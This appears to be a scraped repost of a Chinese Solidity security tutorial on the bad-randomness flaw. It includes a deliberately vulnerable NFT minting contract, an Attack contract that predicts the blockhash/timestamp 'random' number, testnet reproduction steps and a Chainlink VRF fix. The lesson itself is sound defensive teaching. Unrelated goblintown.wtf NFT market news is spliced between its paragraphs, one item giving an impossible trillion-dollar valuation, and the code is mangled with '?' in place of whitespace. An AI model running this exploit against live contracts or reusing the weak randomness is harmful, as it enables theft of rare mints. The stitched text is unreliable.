WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity，巩固一下细节，也写一个“WTFSolidity极简入门”，供小白们使用，每周更新1-3讲。

这一讲，我们将介绍智能合约的坏随机数漏洞和预防方法，这个漏洞经常在NFT和GameFi中出现，包括Meebits，Loots，WolfGame等。

伪随机数

很多以太坊上的应用都需要用到随机数，例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明且确定性的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如random()。很多项目方不得不使用链上的伪随机数生成方法，例如blockhash()和keccak256()方法。

坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读WTFSolidity极简教程第39讲：伪随机数。

goblintown.wtf系列NFT24小时交易额增长超300%:金色财经报道，OpenSea最新数据显示，goblintown.wtf系列NFT过去24小时的交易额为114 ETH，增长率为302%。24小时交易额排名位列OpenSea第12。[2022/10/10 12:50:58]

坏随机数案例

下面我们学习一个有坏随机数漏洞的NFT合约：BadRandomness.sol。

goblintown.wtf系列NFT24小时交易额为151.15万美元:金色财经消息，据NFTGo.io数据显示，goblintown.wtf系列NFT总市值达5353.65万亿美元，在所有NFT项目总市值排名中位列第42；其24小时交易额为151.15万美元，增幅达22.03%。截止发稿时，该系列NFT当前地板价为2.95，跌幅达33.11%ETH。[2022/6/15 4:28:57]

contract?BadRandomness?is?ERC721?{????uint256?totalSupply;????//?构造函数，初始化NFT合集的名称、代号????constructor()?ERC721("",?""){}????//?铸造函数：当输入的?luckyNumber?等于随机数时才能mint????function?luckyMint(uint256?luckyNumber)?external?{????????uint256?randomNumber?=?uint256(keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp)))?%?100;?//?get?bad?random?number????????require(randomNumber?==?luckyNumber,?"Better?luck?next?time!");????????_mint(msg.sender,?totalSupply);?//?mint????????totalSupply++;????}}

goblintown.wtf系列NFT24小时交易额为90.35万美元:金色财经消息，据NFTGo.io数据显示，goblintown.wtf系列NFT总市值达6264万美元，在所有NFT项目总市值排名中位列第38；其24小时交易额为90.35万美元，跌幅达12.69%。截止发稿时，该系列NFT当前地板价为3ETH，涨幅为3.81%。[2022/6/13 4:21:22]

它有一个主要的铸造函数luckyMint()，用户调用时输入一个0-99的数字，如果和链上生成的伪随机数randomNumber相等，即可铸造幸运NFT。伪随机数使用blockhash和block.timestamp声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约Attack.sol。

“哥布林” GoblintTown.wtf NFT系列市值突破1亿美元:金色财经报道，据最新数据显示，“哥布林” GoblintTown.wtf NFT系列市值突破1亿美元，本文撰写时达到1.105亿美元，交易额为6834万美元。此外，该NFT系列地板价已升至7.1 ETH，24小时涨幅达到37.18%。Goblintown NFT 通过免费公售的形式在以太链上发售，发行总数量为 9999 个，其中Goblintown #6485以77.75 ETH成交，约合 150,507.29 美元，为目前该系列最高交易记录。[2022/6/6 4:04:39]

contract?Attack?{????function?attackMint(BadRandomness?nftAddr)?external?{????????//?提前计算随机数????????uint256?luckyNumber?=?uint256(????????????keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp))????????)?%?100;????????//?利用?luckyNumber?攻击????????nftAddr.luckyMint(luckyNumber);????}}

攻击函数attackMint()中的参数为BadRandomness合约地址。在其中，我们计算了随机数luckyNumber，然后将它作为参数输入到luckyMint()函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用，blockhash和block.timestamp是相同的，利用他们生成的随机数也相同。

Remix复现

由于Remix自带的RemixVM不支持blockhash函数，因此你需要将合约部署到以太坊测试链上进行复现。

部署BadRandomness合约。

部署Attack合约。

将BadRandomness合约地址作为参数传入到Attack合约的attackMint()函数并调用，完成攻击。

调用BadRandomness合约的balanceOf查看Attack合约NFT余额，确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如ChainlinkVRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读WTFSolidity极简教程第39讲：伪随机数。

总结

这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT和GameFi项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。

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来源：bress

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